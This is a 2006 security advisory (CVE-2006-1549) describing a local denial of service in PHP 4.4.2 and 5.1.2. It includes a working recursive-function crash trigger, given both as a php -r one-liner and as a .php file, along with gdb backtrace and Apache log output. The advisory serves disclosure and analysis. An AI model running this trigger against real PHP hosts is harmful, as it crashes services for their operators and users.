PHP 4.4.2 and 5.1.2 function recursion() php/apache crash

Risk: Medium
Local: Yes
Remote: No
CWE: CWE-399

CVSS Base Score: 2.1/10
Impact Subscore: 2.9/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

[function *() php/apache Crash PHP 4.4.2 and 5.1.2] Author: Maksymilian Arciemowicz Date: - -Written: 21.3.2006 - -Public: 8.4.2006 CVE-2006-1549 - --- 0.Description --- PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly. A nice introduction to PHP by Stig S&#230;ther Bakken can be found at on the Zend website. Also, much of the PHP Conference Material is freely available. - --- 1. function *() Crash --- PHP4/5 is vulnerability to a local denial-of-service. General problem is in allocated data to memory. for example attack: cxib# php -r 'function cx(){ cx(); } cx();' Segmentation fault (core dumped) cxib# Segfault.. let`s see what we have in gdb - --- cxib# cat /www/functionsegfault.php <? function cx(){ cx(); } cx(); ?> cxib# gdb -q php (gdb) r '/www/functionsegfault.php' Starting program: /usr/local/bin/php '/www/functionsegfault.php' Program received signal SIGSEGV, Segmentation fault. 0x080de6bd in _zval_copy_ctor (zvalue=0xbbc00260, __zend_filename=0x811d8c0 "/usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c", __zend_lineno=1568) at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_variables.c:111 111 /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_variables.c: No such file or directory. in /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_variables.c (gdb) bt #0 0x080de6bd in _zval_copy_ctor (zvalue=0xbbc00260, __zend_filename=0x811d8c0 "/usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c", __zend_lineno=1568) at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_variables.c:111 #1 0x080f042a in execute (op_array=0x81b3880) at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c:1568 #2 0x080f019a in execute (op_array=0x81b3880) at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c:1719 #3 0x080f019a in execute (op_array=0x81b3880) at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c:1719 #4 0x080f019a in execute (op_array=0x81b3880) at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c:1719 #5 0x080f019a in execute (op_array=0x81b3880) ... - --- or in apache error_log [Mon Mar 20 12:12:54 2006] [notice] child pid 744 exit signal Illegal instruction (4) - --- 2. Greets --- p_e_a, pi3, eax, Infospec - --- 3. Contact --- Author: Maksymilian Arciemowicz

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